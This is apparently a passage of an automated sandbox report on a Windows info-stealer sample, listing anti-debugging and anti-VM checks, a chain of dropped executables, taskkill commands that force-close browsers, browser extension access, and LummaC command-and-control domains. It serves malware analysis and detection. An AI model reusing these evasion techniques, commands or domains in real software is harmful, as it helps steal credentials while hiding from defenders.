Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe TID: 8184	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe TID: 7240	Thread sleep count: 121 > 30
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe TID: 7240	Thread sleep count: 131 > 30
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe TID: 7816	Thread sleep count: 60 > 30
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe TID: 7816	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe TID: 7692	Thread sleep count: 63 > 30

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C61EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

6_2_6C61EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: 6IF65DE3AL7UEH5E4W09DIZ.exe, 6IF65DE3AL7UEH5E4W09DIZ.exe, 00000004.00000002.2119527104.000000000112F000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, skotes.exe, 00000005.00000002.2145483793.000000000067F000.00000040.00000001.01000000.00000008.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2581096431.0000000000C03000.00000040.00000001.01000000.00000009.sdmp, DHMGC7TXSIK31JTC83MV8ND88A.exe, 00000008.00000002.2447658579.000000000032A000.00000040.00000001.01000000.0000000B.sdmp, e192e43b61.exe, 0000000A.00000002.3019575810.0000000000B7E000.00000040.00000001.01000000.00000010.sdmp, e192e43b61.exe, 0000000B.00000002.3017600863.0000000000B7E000.00000040.00000001.01000000.00000010.sdmp, b0b9f39429.exe, 0000000C.00000002.2750429124.0000000000F83000.00000040.00000001.01000000.00000011.sdmp, e192e43b61.exe, 0000000D.00000002.3019869572.0000000000B7E000.00000040.00000001.01000000.00000010.sdmp, b0b9f39429.exe, 0000001A.00000002.2902863863.0000000000F83000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe, 00000004.00000003.2077918179.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\\
Source: e192e43b61.exe, 0000000B.00000002.3029538393.0000000001398000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.0000000001933000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.000000000142A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW ,F
Source: file.exe, file.exe, 00000000.00000003.1786901695.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1732244600.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1800136771.00000000016FA000.00000004.00000020.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2899300146.000000000113C000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000002.3032979304.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2824471510.0000000001403000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2883910847.0000000001403000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: b0b9f39429.exe, 0000001A.00000002.2908035174.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001D.00000002.2964932071.000001E75E6B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: firefox.exe, 0000001D.00000002.2959104555.000001E7545E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'
Source: e192e43b61.exe, 0000000D.00000002.3031046367.000000000105B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: e192e43b61.exe, 0000000B.00000003.2824471510.0000000001403000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2883910847.0000000001403000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2809274914.0000000001403000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000002.3030925786.0000000001403000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWMY
Source: b0b9f39429.exe, 0000000C.00000002.2751119481.00000000018EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareHI
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2582005430.000000000127E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareFlc
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe, 00000004.00000002.2119527104.000000000112F000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 00000005.00000002.2145483793.000000000067F000.00000040.00000001.01000000.00000008.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2581096431.0000000000C03000.00000040.00000001.01000000.00000009.sdmp, DHMGC7TXSIK31JTC83MV8ND88A.exe, 00000008.00000002.2447658579.000000000032A000.00000040.00000001.01000000.0000000B.sdmp, e192e43b61.exe, 0000000A.00000002.3019575810.0000000000B7E000.00000040.00000001.01000000.00000010.sdmp, e192e43b61.exe, 0000000B.00000002.3017600863.0000000000B7E000.00000040.00000001.01000000.00000010.sdmp, b0b9f39429.exe, 0000000C.00000002.2750429124.0000000000F83000.00000040.00000001.01000000.00000011.sdmp, e192e43b61.exe, 0000000D.00000002.3019869572.0000000000B7E000.00000040.00000001.01000000.00000010.sdmp, b0b9f39429.exe, 0000001A.00000002.2902863863.0000000000F83000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe, 00000004.00000003.2040272983.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P,
Source: e192e43b61.exe, 0000000A.00000003.2899300146.000000000113C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe

Code function: 4_2_050400EB rdtsc

4_2_050400EB

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C6EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_6C6EAC62

Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C6EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_6C6EAC62

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: K7IHXYTNUQJPI2M9UU0ECLE1K.exe PID: 5460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b0b9f39429.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b0b9f39429.exe PID: 3916, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1701737067.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1701737067.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1701737067.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1701737067.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1701737067.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1701737067.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1701737067.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1701737067.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe "C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe "C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe "C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001608001\num.exe "C:\Users\user\AppData\Local\Temp\1001608001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C734760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

6_2_6C734760

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C611C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

6_2_6C611C30

Source: 5e28f62265.exe, 0000000E.00000000.2797533174.00000000009B2000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2581096431.0000000000C03000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: e192e43b61.exe, 0000000A.00000002.3022668199.0000000000BC3000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: &Program Manager
Source: 6IF65DE3AL7UEH5E4W09DIZ.exe, 6IF65DE3AL7UEH5E4W09DIZ.exe, 00000004.00000002.2119527104.000000000112F000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, skotes.exe, 00000005.00000002.2145483793.000000000067F000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: `Program Manager
Source: DHMGC7TXSIK31JTC83MV8ND88A.exe, 00000008.00000002.2448369339.0000000000381000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: fProgram Manager
Source: firefox.exe, 0000001D.00000002.2944162932.0000009976DFB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C6EAE71 cpuid

6_2_6C6EAE71

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001608001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001608001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Queries volume information: C:\ VolumeInformation
